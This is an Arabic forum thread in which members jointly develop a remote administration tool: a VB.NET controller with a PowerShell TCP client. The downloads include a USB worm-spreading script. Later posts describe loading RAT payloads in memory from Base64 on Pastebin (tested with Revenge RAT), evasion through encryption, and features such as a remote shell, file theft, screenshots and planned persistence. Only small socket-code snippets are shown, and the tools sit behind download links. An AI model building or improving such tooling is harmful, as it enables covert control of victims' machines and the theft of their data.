[ فكرة ] مشروع متحكم بسيط (المتحكم بالفجوال بيسك نت والعميل بالبوير شيل) عن طريق tcp

تم تحميل الصفحة في 0,9881541 ثانية
مشروع متحكم بسيط (المتحكم بالفجوال بيسك نت والعميل بالبوير شيل) عن طريق tcp
إنضم
1 نوفمبر 2012
المشاركات
2,698
الإعجابات
3,522
النقاط
113
الإقامة
المغرب وكل البلاد اوطاني
السلام عليكم ورحمة الله وبركاته
اسعد الله ايامكم بحلول عيد الفطر المبارك واعاده الله علينا وعليكم بالخير واليمن والبركات
فكرة مشروع متحكم بسيط عن طريق بروتوكول tcp المتحكم بالفجوال بيسك نت والعميل بالبوير شيل
لمن اراد ان يطور من مثل هذه الافكار البسيطة
يوجد مع الملفات سكريبت لملف انتشار عبر اقراص usb (worm Spread -shortcut-usb)
بالتوفيق للجميع





تحميل الملفات
Mr3 | تحميل
 

ℓ єαgℓє ¢σ∂єя ℓ

موقوف لمُخالفة الشُّروط
rankrankrankrank
إنضم
19 يناير 2012
المشاركات
1,575
الإعجابات
1,595
النقاط
133
الإقامة
IRAQ
من الممكن ...

عمل بوت لودر .... لاي برنامج رات ...

ممكن اطورها ... واضيفها ... لبرنامجي ....

_______+

يعني الكلاينت PS ...

والبلوقنات ... تعمل في البورشيل مباشره ...

فكرة جريئة ... وذكية ...

____+

:9:
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
790
النقاط
113
مشروع ممتاز للتطوير. اخذت نظرة عليه بشكل سريع لأني لا أحب التعامل مع ps أو vbs من ناحية الإتصال.

يمكنك الاستغناء عن

$fl= $true
$tr = $true

كود:
while($tr)

while($true)

كود:
 if ($Client.Connected -eq $fl )
 
  if ($Client.Connected)

في السطر
كود:
if ($Client.ReceiveBufferSize -gt -1 )
لم افهم لماذا فعلت ذلك. ممكن تشرح؟ اعتقد في هذة الحالة سيكون الرد true بشكل دائم.

يمكن استبداله بـ
كود:
if ($tcpStream.CanRead -And $Client.Available -ge 0 )
أيضاً

كود:
$buffer = New-Object -TypeName System.Byte[] $Client.ReceiveBufferSize
يستحسن استخدام متغيّر لمثل هذة الأمور.
كود:
$buffer = New-Object -TypeName System.Byte[]::new(8192)
إن شاء الله اذا تسنى لو الوقت سأعدل على المشروع.

لا أعتقد أن هنالك عضو طرح مشروع متحكم مع عميل باورشل من قبل. شكراً لك.
 
الإعجابات: natsu
إنضم
1 نوفمبر 2012
المشاركات
2,698
الإعجابات
3,522
النقاط
113
الإقامة
المغرب وكل البلاد اوطاني
مشروع ممتاز للتطوير. اخذت نظرة عليه بشكل سريع لأني لا أحب التعامل مع ps أو vbs من ناحية الإتصال.
.
بارك الله بك وشكرا لك على اهتمامك وزادك الله علما ونورا
===================================
يمكنك الاستغناء عن

$fl= $true
$tr = $true

كود:
while($tr)

while($true)
بارك الله بك نعم يمكن كتابة متغير البول مباشرة
انا كنت قد نسخت الاكواد من سكريبت اخر وتركتها كما هي

==========================

كود:
 if ($Client.Connected -eq $fl )

  if ($Client.Connected)
نعم صحيح تعطي نفس النتيجة زادك الله علما ومعرفة
=============================
في السطر
كود:
if ($Client.ReceiveBufferSize -gt -1 )
لم افهم لماذا فعلت ذلك. ممكن تشرح؟ اعتقد في هذة الحالة سيكون الرد true بشكل دائم.

يمكن استبداله بـ
كود:
if ($tcpStream.CanRead -And $Client.Available -ge 0 )
والله يا اخي معرفتي بسيطة بالسوكيت لذ ا جربت الكود واشتغل معي :)
لذا ساحاول اجد بعض من الوقت لاحاول دراسة وتعلم السوكيت والبرمجة بالدوت نت
زادك الله علما ومعرفة



====================================
أيضاً

كود:
$buffer = New-Object -TypeName System.Byte[] $Client.ReceiveBufferSize
يستحسن استخدام متغيّر لمثل هذة الأمور.
كود:
$buffer = New-Object -TypeName System.Byte[]::new(8192)
بارك الله بك لقد جربتها ثم غيرتها وانت اعلم وادرى بي ببرمجة السوكيت
وهذه تجربة ومنها نتعلم واشكرك اخي على هذه التنبيهات المهمة
زادك الله علما ومعرفة

=======================================
إن شاء الله اذا تسنى لو الوقت سأعدل على المشروع.

ان شاء الله ارى تعديلاتك في القريب العاجل لكي استفيد منها اخي الكريم

لا أعتقد أن هنالك عضو طرح مشروع متحكم مع عميل باورشل من قبل. شكراً لك.

لولا فكرتك انت في احد المواضيع عن تكلمك عن السوكيت tcp عوض http
قلت لما لا احاول تطبيقها
بوركت اخي وتشرفت بمعرفتك
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
790
النقاط
113
بارك الله بك وشكرا لك على اهتمامك وزادك الله علما ونورا
===================================
يمكنك الاستغناء عن

$fl= $true
$tr = $true

كود:
while($tr)

while($true)
بارك الله بك نعم يمكن كتابة متغير البول مباشرة
انا كنت قد نسخت الاكواد من سكريبت اخر وتركتها كما هي

==========================

كود:
 if ($Client.Connected -eq $fl )

  if ($Client.Connected)
نعم صحيح تعطي نفس النتيجة زادك الله علما ومعرفة
=============================
في السطر
كود:
if ($Client.ReceiveBufferSize -gt -1 )
لم افهم لماذا فعلت ذلك. ممكن تشرح؟ اعتقد في هذة الحالة سيكون الرد true بشكل دائم.

يمكن استبداله بـ
كود:
if ($tcpStream.CanRead -And $Client.Available -ge 0 )
والله يا اخي معرفتي بسيطة بالسوكيت لذ ا جربت الكود واشتغل معي :)
لذا ساحاول اجد بعض من الوقت لاحاول دراسة وتعلم السوكيت والبرمجة بالدوت نت
زادك الله علما ومعرفة



====================================
أيضاً

كود:
$buffer = New-Object -TypeName System.Byte[] $Client.ReceiveBufferSize
يستحسن استخدام متغيّر لمثل هذة الأمور.
كود:
$buffer = New-Object -TypeName System.Byte[]::new(8192)
بارك الله بك لقد جربتها ثم غيرتها وانت اعلم وادرى بي ببرمجة السوكيت
وهذه تجربة ومنها نتعلم واشكرك اخي على هذه التنبيهات المهمة
زادك الله علما ومعرفة

=======================================
إن شاء الله اذا تسنى لو الوقت سأعدل على المشروع.

ان شاء الله ارى تعديلاتك في القريب العاجل لكي استفيد منها اخي الكريم

لا أعتقد أن هنالك عضو طرح مشروع متحكم مع عميل باورشل من قبل. شكراً لك.

لولا فكرتك انت في احد المواضيع عن تكلمك عن السوكيت tcp عوض http
قلت لما لا احاول تطبيقها
بوركت اخي وتشرفت بمعرفتك

لا شكر على واجب أخي العزيز مجرد ملاحظات بشكل سريع ويمكنك تجاهلها لأني لا أجيد التعامل مع الباورشل

ومن الناحية العملية .. الكلاينت الذي أنت كتبته لا يوجد فيه خطأ خلال الران تايم لأنك في الأخير تستخدم tcpStream.Read

وممكن استخدام البفر عن طريق $client.Available وأشياء أخرى .. ليست مهمة بصراحة.

لا تقلق بشأن الاتصال فيمكننا اقتباس ونسخ أي كلاس اتصال بالباورشل من الجيت هاب بدلاً من كتابة كلاس من الصفر. أهم شيء ثبات التثبيت واضافة بعض الخصائص البسيطة.

الكلاينت بالباورشل يفتح لك خصائص كثيرة ومنها تنفيذ ملفات في الذاكرة وأيضاً استخدام مكتبات الدوت نت ...الخ مما يفيد في التشفير والتخطي.

فبتالي يمكن الاستغناء عن VBS كوسيط اتصال وسيكون فقط عبارة عن ملف لتنفيذ للباورشل يعني. VBS => Powershell => Tcp

و في انتظار أصحاب الخبرة بالباورشل ليفيدونا بآخر التطورات من ناحية الكلاينت \ لودر الباورشل.
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
790
النقاط
113
السلام عليكم ورحمة الله وبركاته
اسعد الله ايامكم بحلول عيد الفطر المبارك واعاده الله علينا وعليكم بالخير واليمن والبركات
فكرة مشروع متحكم بسيط عن طريق بروتوكول tcp المتحكم بالفجوال بيسك نت والعميل بالبوير شيل
لمن اراد ان يطور من مثل هذه الافكار البسيطة
يوجد مع الملفات سكريبت لملف انتشار عبر اقراص usb (worm Spread -shortcut-usb)
بالتوفيق للجميع

تحميل الملفات
Mr3 | تحميل
تم اضافة تنفيذ في الذاكرة عن طريق Pastebin Bas64. فقط حول ملفك إلى Base64 وثم ارفعه على Pastebin (تم التجربة على ريفينجرات)

وتعديلات بسيطة في المتحكم والعميل. وأحببت أن أشارككم.

واضافة vbs loader وهو اساساً موجود في الجيب هاب الخاص فيني.

Mr3 | تحميل

:38:
 
إنضم
1 نوفمبر 2012
المشاركات
2,698
الإعجابات
3,522
النقاط
113
الإقامة
المغرب وكل البلاد اوطاني
تم اضافة تنفيذ في الذاكرة عن طريق Pastebin Bas64. فقط حول ملفك إلى Base64 وثم ارفعه على Pastebin (تم التجربة على ريفينجرات)

وتعديلات بسيطة في المتحكم والعميل. وأحببت أن أشارككم.

واضافة vbs loader وهو اساساً موجود في الجيب هاب الخاص فيني.

Mr3 | تحميل

:38:
بارك الله بك جاري الاستفادة من التعديلاات
واضافة بعض الخصائص

 
إنضم
1 نوفمبر 2012
المشاركات
2,698
الإعجابات
3,522
النقاط
113
الإقامة
المغرب وكل البلاد اوطاني
Thank you my friend:29:

تم تطوير :637483: السكريبت مع بعض الاضافات البسيطة مثل
-الفايل منجر البسيط مع (رفع وتنزيل الملفات واعادة تسمية الملف وحذف الملف):29:
- موجه الاوامر البسيط :25::637460:
-اخذ لقطة للشاشة بطريقة بدائية :3: ان شاء الله يتم تطويرها للافضل:73: مثل تشغيل بلوقين:blb6:
-البروسيس منجر(قتل عملية:270:):637464:
وان شاء الله احاول ان اضيف بعض الخصائص الاخرى مثل اضافة البلوقين و تشغيل اكواد الفبي والسي شارب مباشرة بالذاكرة :33: مع طرح السورس بعد الانتهاء:7:
====================
من لديه فكرة تشغيل البلوقين بالبورشيل فليساعد نا بها:8:
يوجد فيديو بالمرفقات:58:



تحميل المرفقات

Control_test | تحميل
 
إنضم
14 نوفمبر 2017
المشاركات
698
الإعجابات
790
النقاط
113
Thank you my friend:29:

تم تطوير :637483: السكريبت مع بعض الاضافات البسيطة مثل
-الفايل منجر البسيط مع (رفع وتنزيل الملفات واعادة تسمية الملف وحذف الملف):29:
- موجه الاوامر البسيط :25::637460:
-اخذ لقطة للشاشة بطريقة بدائية :3: ان شاء الله يتم تطويرها للافضل:73: مثل تشغيل بلوقين:blb6:
-البروسيس منجر(قتل عملية:270:):637464:
وان شاء الله احاول ان اضيف بعض الخصائص الاخرى مثل اضافة البلوقين و تشغيل اكواد الفبي والسي شارب مباشرة بالذاكرة :33: مع طرح السورس بعد الانتهاء:7:
====================
من لديه فكرة تشغيل البلوقين بالبورشيل فليساعد نا بها:8:
يوجد فيديو بالمرفقات:58:



تحميل المرفقات

Control_test | تحميل
وين كنا و وين صرنا. تطوير ممتاز للبرنامج. النسخة الأولية كانت بلا شيء أما الآن النسخة فيها خصائص كثيبرة.
باقي فقط عمل بيلدر ينتج ملف vbs او exe لتنفيذ ps1 مع خاصية التثبيت.
كل التوفيق لك :38:.
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل